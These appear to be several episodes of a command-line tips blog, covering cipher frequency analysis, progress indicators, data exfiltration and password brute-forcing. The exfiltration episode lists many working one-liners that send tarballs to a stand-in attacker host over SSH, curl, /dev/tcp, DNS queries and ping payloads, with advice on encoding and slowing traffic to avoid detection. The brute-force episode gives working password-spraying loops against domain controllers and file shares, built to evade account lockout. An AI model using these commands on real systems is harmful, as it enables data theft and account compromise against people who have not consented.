From there I sort my output and then use "uniq -c" to count the occurrences of each letter. The final "sort -nr" gives me the counts in descending order.

Now let's add a little awk:

$ sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | 
    sort | uniq -c | sort -nr | awk 'BEGIN {ORS = ""} {print $2}'
VULTOCWSEZIFMJHXDRYNKPQGBA

The awk I've added prints out the letters from my frequency chart. Normally awk would print them out one per line, just like they are in the input. But in the BEGIN block I'm telling awk to use the null string as the "output record separator" (ORS) instead of the usual newline. That gives me the letters all on one line without any whitespace.

Why is this useful? Because now I can do this:

$ cat cyphertext | tr $(sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' |
                        sort | uniq -c | sort -nr |awk 'BEGIN {ORS = ""} {print $2}') \
                      etaoinshrdlcumwfgypbvkjxqz
"prot wokel uic trank uic hon anyent o giid hafres av uic roye ni ejfestale an tre 
lcbzeht? woube uic hon, bct at'l nit tessabmu makemu. awogane rip uic picmd seoht av 
uics dihtis timd uic "uic roye offendahatal, o daleole trot al mave-trseotenang av nit 
tseoted. pe roye o tawe-telted hcse trot hcsel 99% iv omm fotaentl patr ni nitaheobme 
lade-evvehtl, bct a'w nit giang ti gaye uic trot: a'w giang ti gaye uic o nep 
ejfesawentom tseotwent wu hiclan dseowed cf molt peek. ni, wu hiclan rol ni wedahom 
tsoanang. ni, a roye ni eyadenhe trot tre nep tseotwent pamm pisk, ond at'l neyes been 
telted is onomuqed an deftr -- bct a'w giang ti gaye at ti uic onupou behocle wu 
hiclan trankl at al giid ltcvv." uic'd vand onitres dihtis, a rife. sotainom feifme 
meoye wedahom hose ti tre wedahom ejfestl. tre wedahom ejfestl roye o wchr bettes 
tsohk sehisd tron tre xcohkl."
-- doyad pognes frd, lha.hsuft, 19tr iht 02.

What I did there was take my pipeline and put it inside "$(...)" so that the output of the pipeline becomes the first argument to my tr command. The letters in the list produced by my pipeline get replaced in with the letters in the standard English frequency chart.

Unfortunately, as Tim found out, the standard frequency chart doesn't work. Actually, my results are different from Tim's first attempt. I think he was cheating some where to get his "the"'s decoded correctly!

If at first you don't succeed, try, try again. We could just keep trying different permutations of our frequency list:

$ freqlist=$(sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | 
             sort | uniq -c | sort -nr |awk 'BEGIN {ORS = ""} {print $2}')
$ permute etaoinshrdlcumwfgypbvkjxqz | 
     while read replace; do 
        misspell=$(cat cyphertext | tr $freqlist $replace | spell | wc -l); 
        [[ $misspell -lt 10 ]] && echo $replace && break; 
        (( $((++c)) % 1000 )) || echo -n . 1>&2; 
     done

First I assign the frequency analysis of my cyphertext to a variable so I don't have to keep recomputing it.

Next I cheat a whole lot by using a script I wrote a long time ago called permute that produces a list of all possible permutations of its input. My while loop reads those permutations one at a time and tries them via tr. The output of tr goes into spell which will give a list of the misspelled words. I count the number of misspelled words with "wc -l". If the number of misspellings is small, then I've probably found the right replacement list. In that case I'll output the $replace list that seems to work and terminate the loop with break.

The last line of the loop is the trick I showed you in Episode #163 for showing progress output in a loop. Every 1000 permutations tried, we'll output a dot just so you know that things are working.

Be prepared for a lot of dots, however. Unfortunately there are 26! = 4E26 possible permutations, which might take you-- or your computer-- more than a little while to test. Brute force really isn't a practical solution for this problem. But I wanted to show you that there is a solution that you could implement in shell (modulo my dirty little permute script), even if it is a lousy one.

Episode #164: Exfiltration Nation

Hal pillages the mailbox

Happy 2012 everybody!

In the days and weeks to come, the industry press will no doubt be filled with stories of all the high-profile companies whose data was "liberated" during the past couple of weeks. It may be a holiday for most of us, but it's the perfect time for the black hats to be putting in a little overtime with their data exfiltration efforts.

So it was somehow appropriate that we found that loyal reader Greg Hetrick had emailed us this tasty little bit of command-line exfiltration fu:

tar zcf - localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"

Ah, yes, the old "tar over SSH" gambit. The nice thing here is that no local file gets written, but you end up with a perfect directory copy over on "remotehost.evil.com" in a target directory of your choosing.

If SSH is your preferred outbound channel, and the local system has rsync installed, you could accomplish the same mission with fewer keystrokes:

rsync -aH localhost remotehost.evil.com:/some/path/name

If outbound port 22 is being blocked, you could use "ssh -p" or "rsync --port" to connect to the remote server on an alternate port number. Ports 80 and 443 are often open in the outbound direction when other ports are not.

But what if outbound SSH connections-- especially SSH traffic on unexpected port numbers-- are being monitored by your victim? Greg's email got me thinking about other stealthy ways to move data out of an organization using only command-line primitives.

My first thought was everybody's favorite exfiltration protocol: HTTPS. And nothing makes moving data over HTTPS easier than curl:

tar zcf - localfolder | curl -F "data=@-" https://remotehost.evil.com/script.php

"curl -F" fakes a form POST. In this case, the submitted parameter name will be "data". Normally you would use "@filename" after the "data=" to post the contents of a file. But we don't want to write any files locally, so we use "@-" to tell curl to take data from the standard input.

Of course, you'd also have to create script.php over on the remote web server and have it save the incoming data so that you could manually unpack it later. And, while it's commonly found on Linux systems, curl is not a built-in tool. So strictly speaking, I'm not supposed to be using it according to the rules of our blog.

So no SSH and now no curl. What's left? Well, I could just shoot the tarball over the network in raw mode:

tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443

"/dev/tcp/remotehost.evil.com/443" is the wonderful bash-ism that allows me to make connections to arbitrary hosts and ports via the command-line. Note that because the "/dev/tcp/..." hack is a property of the bash shell, I can't use it as a file name argument to "tar -f". Instead I have to use redirection like you see in the example.

Maybe my victim is doing packet inspection. Perhaps I don't want to just send the unobfuscated tarball. I could use xxd to encode the tarball as a hex dump before sending:

tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443

You would use "xxd -r" on the other end to revert the hex dump back into binary.

Instead of xxd, I could use "base64" for a simple base64 encoding. But that might be too obvious. How about a nice EBCDIC encoding on top of the base64:

tar zcf - localfolder | base 64 | dd conv=ebcdic >/dev/tcp/remotehost.evil.com/443

Use "dd conv=ascii if=filename | base64 -d" on the remote machine to get your data back. I'm guessing that nobody looking at the raw packet data would suspect EBCDIC as the encoding though.

Doing something like XOR encoding on the fly turns into a script, unfortunately. But there are some cool examples in several different languages (including the Unix shell and Windows Powershell) over here.

Or how about using DNS queries to exfiltrate data:

tar zcf - localfolder | xxd -p -c 16 |
    while read line; do host $line.domain.com remotehost.evil.com; done

Once again I'm using xxd to encode my tar file as a hex dump. I read the hex dump line by line and use each line of data as the "host name" portion of a DNS query to my nameserver on remotehost.evil.com. By monitoring the DNS query traffic on the remote machine, I can reassemble the encoded data to get my original file content back.

Note that I've added the '-c 16" option to the xxd command to output 16 bytes (32 characters) per line. That way my "host names" are not flagged as invalid for being too long. You might also want to throw a "sleep" statement into that loop so that your victim doesn't become suspicious of the sudden blast of DNS queries leaving the box.

I could so something very similar using the ping command on Linux to exfiltrate my data in ICMP echo request packets:

tar zcf - localfolder | xxd -p -c 16 |
    while read line; do ping -p $line -c 1 -q remotehost.evil.com; done

The Linux version of ping lets me use "-p" to specify up to 16 bytes of data to be included in the outgoing packet. Unfortunately, this option may not be supported on other Unix variants. I'm also using "-c 1" to send only a single instance of each packet and "-q" to reduce the amount of output I get. Of course, I'd have to scrape the content out of the packets on the other side, which will require a bit of scripting.

Well, I hope that gets your creative juices flowing. There's just so many different ways you can obfuscate data and move it around the network using the bash shell. But I think I better stop here before I make Tim cry. Now Tim, stop your sobbing and show us what you've got in Windows.

Tim wipes away his tears

I asked Santa for a few features to appear in Windows that are native to Linux, but all I got was a lump of coal. I keep asking Santa every year and he never writes back. I know people told me he doesn't exist, but HE DOES. He gave me a skateboard when I was 7. So yes, my apparent shunning by Santa made me cry.

I've got no built in commands for ssh, tar, base64, curl/wget, dev tcp, or any of the cool stuff Hal has. FTP could be used, and can support encryption, but you have to write a script for the FTP command (similar to this). While PowerShell scripts could be written to implement most of these functions, that would definitely cross into The Land of Scripts (and they have a restraining order against us, something about Hal not wearing pants last time he visited).

That pretty much leaves SMB connections and that has a number of problems. First, we don't have encryption, which may mean we can't use it on a Pen Test. Second, port 445 is usually heavily monitored or filtered. Third, we can't pick a different port and we are stuck with 445.

On the bright side it means that my portion of this episode is going to be short. First, we create the connection back to our server.

C:\> net use z: \\4.4.4.4\myshare myevilpassword1 /user:myeviluser

Then we can copy all the files we want to the Z. drive. We can accomplish this using Robocopy or PowerShell's Copy-Item (aliases copy, cp, and cpi) with the -Recurse switch.

Yep, that's it. Now back to my crying. Oh, and Happy Stinking New Year.

Edit: Marc van Orsouw writes in with the following
Some remarks about PowerShell options :

Of course you do not need the net use in PowerShell you can use UNC directly.
And there are a lot of options in your wishlist that can be done using .NET (mostly resulting in scripts on oneliners of course, so keep your list ;), although PSCX will solve a lot of them)

Some options I came up with :

A IMHO opinion another cool option is using PowerShell remoting (already encrypted)

This could be as easy as :

Invoke-Command -ComputerName evilserver {PARAM($txt);set-content stolen.txt $txt} -ArgumentList (get-content usernames.txt)

Some Ugly FTP example with Base64

[System.Net.FtpWebRequest][System.Net.WebRequest]::Create('ftp://evil.com/p.txt') |% {$_.Method = "STOR";$s = [byte[]][convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:\username.txt')).tochararray();$_.GetRequestStream().Write($s, 0, $s.Length)}

And with Web service when remote server available (as in the PHP example) than it would be as simple as :

(New-WebServiceProxy -uri http://evil.com/store.asmx?WSDL).steal((get-content file.txt))

We can just use the UNC path (\\1.1.1.1\share instead of z:\) for exfiltration, but if we want to authenticate the best way is to use NET USE first.

The PowerShell Community Extensions (PSCX) do give a lot of cool functionality, but they are add-ons and not allowed. Similarly, the .NET framework gives us tremendous power, but crosses into script-land rather quickly and is also not allowed.

The remoting command is really cool *and* it is encrypted too. I forgot about this one. The New-WebServiceProxy cmdlet is a really intriguing way to do this as well. I have never used this cmdlet before, and if we use HTTPS instead of HTTP it would be encrypted too. Very nice!

Edit 2: Marc van Orsouw has another cool suggestions

PS C:\> Import-Module BitsTransfer
PS C:\> Start-BitsTransfer -Source c:\clienttestdir\testfile1.txt -Destination https://server01/servertestdir/testfile1.txt 
  -TransferType Upload -cred (get-credential)

Mark is a PowerShell MVP and blogs over at http://thepowershellguy.com/

Episode #163: Pilgrim's Progress

Tim checks the metamail:

I hope everyone had a good Thanksgiving. I know I did, and I sure have a lot to be thankful for.

Today we receive mail about mail. Ed writes in about Rob VandenBrink writing in:

Gents,

Rob VandenBrink sent me a cool idea this morning. It's for printing out a text-based progress indicator in cmd.exe. The idea is that if you have a loop that's doing a bunch of stuff, without any indication to the user, you can just echo a dot on the screen at each iteration of the loop to show that you are still alive and have processed another iteration. The issue in cmd.exe is echoing the dot without a CRLF, so that it goes nicely across the screen. Here's Rob's approach (which uses set /p very cleverly to define a variable, but without using that variable). On a few episodes, I used set /a because of its nice property of doing math without a CRLF. Here, Rob uses set /p to avoid the CRLF.

C:\> for /L %i in (1,1,5) do @timeout 1 >nul & <nul (set /p z=.)
.....  <-- Progress Dots

Just replace the timeout command with something useful, and vary the FOR iterator loop to something that makes sense.

Worthy of an episode?

Well Ed, you can tell Rob that it is. Rob, feel free to send more cool suggestions to Ed and Ed can send them to us. I'll pass along what I think is worthy of an episode to Hal, so Rob talk to Ed, Ed talk to Tim, Tim talks to Hal, Hal responds to Tim, Tim responds to Ed, Ed responds to Rob. Unless Ed is unavailable, then we Rob should find Tim who will check for Ed, then...

Ok, we'll work out those details later. We certainly need to keep a strict flow of information, or else it could confusing, and we would hate that.

The trick with this command is using the /P switch with the Set command. The /P switch is used to prompt a user for input. The standard syntax looks like this:

SET /P variable=[promptString]

We are using a dummy variable Z to receive input, and the promptString is our dot. We feed NUL into the Set command so it doesn't hang while waiting for input. Since we didn't provide a carriage return the prompt is not advanced to the next line. That way we can output multiple dots on the same line. To prevent extra spaces between the dots we need to make sure there are no spaces between the dot and the next character, whether it be a closing parenthesis or a input redirection (<).

I typically write it a little differently so it is a little clearer that the NUL is being fed into Set, but the effect is the same.

C:\> (set /P z=.<NUL) & (set /P z=.<NUL)
..

PowerShell

One of the best practices of PowerShell is to write each command so the output can be used as input to another command. This means that dots would mess up our nice object-type output. That's no skin off our back, as we have a cmdlet to keep track of progress for us, Write-Progress. However, it does require a bit of knowledge as to the number of iterations we will go through. Not usually a big deal though, but it may require that some input be preloaded so this calculation can be preformed. There are all sorts of cool things we can do with this cmdlet. Examples of coolness include: multiple progress bars, displaying time remaining, and displaying extra information on the current operation.

 Test
    Working
    [ooooooooooooooooooooooooooooooooooooo                                            ]

PS C:\> 1..100 | % { sleep 1; Write-Progress -Activity Test -Status Working -PercentComplete $_ }

The Activity and Status parameters are used to provide additional information. The Activity is usually used to provide a high level description of the process and the Status switch is used to describe the current operation, assuming there are multiple. Similar to our the cmd.exe command, replace the sleep 1 with something useful.

The SecondsRemaining parameter can be used to display the estimated time remaining. This time must be calculated by the author of the script or command, and since these calculations are never close to correct, I personally refuse to ever even try to calculate the remaining time. So enough of my rant and back to the task at hand.

Multiple progress bars can be used by using a unique ID for each. The default ID is 0, so we can use 1 for the second progress bar.

 Testing
    Outer
    [oooooooooooooooooo                                                               ]
 Testing
    Inner
    [oooooooooooooooooooooooooooooooooooooooooooooooooooooo                           ]

PS C:\> 1..100 | % { Write-Progress -Activity Testing -Status Outer -PercentComplete $_;
     1..100 | % { sleep 0.5; Write-Progress -Activity Testing -Status Inner -PercentComplete $_ -ID 1 }
 }

Another bonus is that the progress bar is displayed at the top of the screen so it doesn't interfere with the most recent output. To make it even better, it disappears after the command has completed. We have a progress display and we don't have any messy output to clean up, awesome!

The cmd.exe output is functional, but not great, and the PowerShell version is really pretty. My bet is Hal and his *nix fu is going to snuggle up between these two. Hal, snuggle away.

Hal emerges from a food coma

Don't even get me started about "snuggling" with Tim. Mostly he just rolls over and goes to sleep, leaving me with the aftermath. He never cares about my feelings or what's important to me...

Oh, sorry. I forgot we were talking command line kung fu here. I'm not going to be getting much "snuggling" on that front either, as it turns out. The Linux options pretty much emulate the two choices that Tim presented on the Windows side.

The portable method uses shell built-ins and looks a lot like the CMD.EXE solution. Here's an example using the while loop from last week's Episode:

paste <(awk '{print; print; print; print}' users.txt) passwords.txt |
    while read u p; do 
        mount -t cifs -o domain=mydomain,user=$u,password=$p \
            //myshare /mnt >/dev/null 2>&1 \
                && echo $u/$p works && umount /mnt
        (( $((++c)) % 100 )) || echo -n . 1>&2
    done >working-passwords.txt

The code I've added in bold face is the part that prints dots to show progress. I've got a variable "$c" that gets incremented each time through the loop. We then take the value of that variable modulo 100. Every hundred iterations, that expression will have the value zero, so the echo statement after the "||" will get executed and print a dot. I use "echo -n" so we don't get a newline after the dot.

Notice also the "1>&2" after the echo expression. This causes the dots coming out of the echo command heading for the standard output to go to the standard error instead. That way I'm able to redirect the normal output of the loop-- the usernames and passwords I'm brute-forcing-- into a file using ">working-passwords.txt" at the end of the loop and still see the progress dots on the standard error.

You can slip this code into any loop you care to. And by adjusting the value on the right-hand side of the modulus operator you can cause the dots to be printed more or less frequently, depending on the size of your input. If you're reading a log file that's hundreds of thousands of lines long, you might want to do something like "... % 10000" so your screen doesn't just fill up with dots. On the other hand, you want the dots to appear frequently enough that it looks like something is happening. You just have to play around with the number until you're happy.

While this approach is very portable and easy to use, it only works inside an explicit loop. There are lots of tasks where we're processing data using a series of commands in a pipeline with no loops at all. For example, there's pipelines like the one from Episode #38:

grep 'POST /login/form' ssl_access_log* | 
    sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | 
    sort | uniq -c | 
    awk '{ t = t + $1; print} END { print t " TOTAL" }'

Oh sure, I could force a loop at the front of the pipeline just to get some dots:

while read line; do
        echo $line 
        (( $((++c)) % 10000 )) || echo -n . 1>&2
done <ssl_access_log* | grep 'POST /login/form' | ...

But let's face it, this is gross, inefficient, and silly. What bash is lacking is a built-in construct like PowerShell's Write-Progress cmdlet.

Happily, there's an Open Source utility called "pv" (pipe viewer) that kicks Write-Progress' butt through the flimsy walls of our command line dojo. Unhappily, it's not a built-in utility, so strictly speaking it's not allowed by the rules of our blog. But sometimes it's fun to bring a bazooka to a knife fight.

In it's simplest usage, pv just replaces the silly while loop that I forced onto the beginning of our pipeline:

# pv -c ssl_access_log* | 
    grep 'POST /login/form' | 
    sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | 
    sort | uniq -c | awk '{ t = t + $1; print} END { print t " TOTAL" }' >counts.txt
83.4MB 0:00:05 [16.2MB/s] [=================================>] 100%

pv reads our input files and sends their content to the standard output-- just like the cat command. But it also creates a progress bar on the standard error. The "-c" option tells pv to use "curses" style cursor positioning sequences to update the progress bar more efficiently.

I'm redirecting the actual pipeline output with the browser counts into a file (">counts.txt") so it's easier to focus in on the progress bar. I've captured the output after the loop has completed, so you're seeing the 100% completion bar, but notice that the left-hand side of the bar tracks the total data read and the amount of time taken.

What's really fun, however, is using multiple instances of pv inside a complicated pipeline:

# pv -cN Input ssl_access_log* | 
    grep 'POST /login/' | pv -cN grep | 
    sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/' | pv -cN sed | 
    sort | uniq -c | awk '{ t = t + $1; print} END { print t " TOTAL" }' >counts.txt
     grep:  7.5MB 0:00:04 [1.51MB/s] [   <=>                                  ]
      sed:  259kB 0:00:05 [51.8kB/s] [    <=>                                 ]
    Input: 83.4MB 0:00:04 [17.1MB/s] [======================>] 100%

You'll notice that I've added two more pv invocations in the middle of our pipeline: one after the grep and one after the sed command. I'm also using the "-N" ("name") flag to assign a unique name to each instance of pv. This name appears in front of each progress bar so you can tell them apart.

What's fun about this mode is that it shows you how much you're reducing the data as it goes through each command. The total "Input" size is 83MB of access logs, which grep winnows down to 7.5MB of matching lines. Then sed removes everything except the browser name and major version number, leaving us with only 260KB of data.

pv is widely available in various Linux distros, though it's not typically part of the base install. There's a BSD Ports version available and it's even in the MacOS HomeBrew system. Solaris folks can find it at Sunfreeware. Everybody else gets to build it from source. But it's a useful tool in your command line toolchest.

Consider this your early Xmas present. And you didn't even have to brave the pepper spray at Wal*mart to get it.

Episode #162: Et Tu Bruteforce

Tim is looking for a way in

A few weeks ago I got a call from a Mr 53, of LaNMaSteR53 fame from the pauldotcom blog. Mister, Tim "I have a very cool first name" Tomes was working on a way to brute force passwords. The scenario is hundreds (or more) accounts were created all (presumably) using the same initial password. He noticed all the accounts were created the same day and none of them had ever been logged in to.

To brute force the passwords a subset of a large password dictionary is used tried against each account, but the same password was never used twice. This effectively bypasses the account lockout policy (5 failed attempts) and allows a larger set of passwords to be tested without locking out any accounts.

So instead of this scenario:
user1 - password1, password2, password3, password 4
user2 - password1, password2, password3, password 4
user3 - password1, password2, password3, password 4
...

We do it this way:
user1 - password1, password2, password3, password4
user2 - password5, password6, password7, password8
user3 - password9, password10, password11, password12
...

The effectiveness of this method is based on the assumption that each account was created with the same default password. Instead of testing 4 passwords, we can test 4 * # of users. So for 1000 accounts that means 4000 password guesses instead of just 4.

To pull this off we need to read two files, a user list and a password list. We need to take the first user and the first four passwords, then the send user and the next four passwords, and so on. This is the command to output the username and password pairs.

PS C:\> $usercount=0; gc users.txt | 
% {$user = $_; gc passwords.txt -TotalCount (($usercount * 4) + 4) | 
select -skip ($usercount++ * 4) } | % { echo "$user $_" }

user1 password1
user1 password2
user1 password3
user1 password4
user2 password5
user2 password6
user2 password7
user2 password8
user3 password9
...

If we wanted to test the credentials against a domain controller we can do this:

PS C:\> $usercount=0; gc users.txt | % {$user = $_; 
gc passwords.txt -TotalCount (($usercount * 4) + 4) | select -skip ($usercount++ * 4) } | 
% { net use \\mydomaincontroller\ipc$ /user:somedomain\$user $_ 2>&1>$null; 
if ($?) { echo "This works $user/$_ "; net use \\mydomaincontroller\ipc$ /user:$user /del } }

This works user7/Password30

CMD.EXE

When Pen Testing you many times get access to CMD.EXE only. The PowerShell interfaces are a bit flaky, and many times the systems that are initially compromised don't have it installed so we need to rely on CMD.EXE.

C:\> cmd /v:on /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do @set
/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4
>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!
LSS !upass! (@echo %u %p))) & set /a passcount=!passcount!+1 >NUL) & set /a
usercount=!usercount!+1 >NUL"

user1 password1
user1 password2
user1 password3
user1 password4
user2 password5
user2 password6
user2 password7
user2 password8
user3 password9
...

We start off enabling delayed variable expansion as usual. The usercount is initialized to 0 and it will be used to keep track of how many users have been attempted so far. We need this number to determine the proper password range to use. The users.txt file is then read via a For loop. Inside this (outer) For loop the passcount variable is set to 0. The passcount variable is used to keep track of where we are in the password file so we only use the 4 passwords we need. Related to that, the lower bound (lpass) and the upper bound (upass) are set so we know the range of the 4 passwords to be used. Now it is (finally) time to read the password file.

Another, inner, For loop is used to read through the password file. A pair of If statements are used to make sure the current password is in the proper bounds, and if it is, it is output. The passcount variable is then incremented to keep track of our count. After we go through the entire password file we increment the usercount. The process starts all over using the next user read from the file.

All we need to do now is Frankenstein this command with other Tim's command.

C:\> cmd /v:on /c "set /a usercount=0 >NUL & for /F %u in (users.txt) do @set
/a passcount=0 >NUL & set /a lpass=!usercount!*4 >NUL & set /a upass=!usercount!*4+4
>NUL & @(for /F %p in (passwords.txt) do @(IF !passcount! GEQ !lpass! (IF !passcount!
LSS !upass! (@net use \\DC01 /user:mydomain\%u %p 1>NUL 2>&1 && @echo This works
%u/%p && @net use /delete \\DC01\IPC$ > NUL))) & set /a passcount=!passcount!+1 >NUL)
& set /a usercount=!usercount!+1 >NUL"

This works user7/Password30

There you go, brute away.

Hal is looking for a way out

The basic task of generating the username/password list is pretty easy for the Unix folks because we have the "paste" command that lets us join multiple files together in a line-by-line fashion. The only real trick here is repeating each username input four times before moving on to the next username.

The first way that occurred to me to do this is with awk:

$ paste <(awk '{print; print; print; print}' users.txt) passwords.txt 
user1 password1
user1 password2
user1 password3
user1 password4
user2 password5
...

Here I'm using the bash "<(...)" notation to include the output of our awk command as a file input for the "paste" command. The awk itself just uses multiple print statements to emit each line four times.

Really all the awk is doing for us here, however, is to act as a short-hand for a loop over our user.txt file. We could dispense with the awk an just use shell built-ins:

$ paste <(while read u; do echo -e $u\\n$u\\n$u\\n$u; done <users.txt) passwords.txt 
user1   password1
user1   password2
user1   password3
user1   password4
user2   password5
...

Aside from using a while loop instead of the awk, I'm also using a single "echo -e" statement to output all four lines, rather than calling echo multiple times. I could have done something similar with a single print statement in the awk verson, but somehow I think the "print; print; print; print" was clearer and more readable.

By the way, some of you may be wondering why I have newlines ("\n", rendered above as "\\n" to protect the backwhack from shell interpolation) after the first three $u's but not after the last one. Remember that echo will automatically output a newline at the end of the output, unless we use "echo -n".

But now that we have our username/password list, what do we do with it? Unfortunately, the SMBFS tools for Unix/Linux don't include a working equivalent for "net use". So we'd have to try mounting a share the old-fashioned way in order to test the username and password combos:

paste <(awk '{print; print; print; print}' users.txt) passwords.txt |
    while read u p; do 
        mount -t cifs -o domain=mydomain,user=$u,password=$p \
            //myshare /mnt >/dev/null 2>&1 \
                && echo $u/$p works && umount /mnt
    done

If the mount command succeeds then the echo command will output the username and password. Then we'll call umount to unmount the share before moving on to the next attempt. It's kind of hideous, but it will work.

Oh well, at least it's more readable than that CMD.EXE insanity Tim threw down...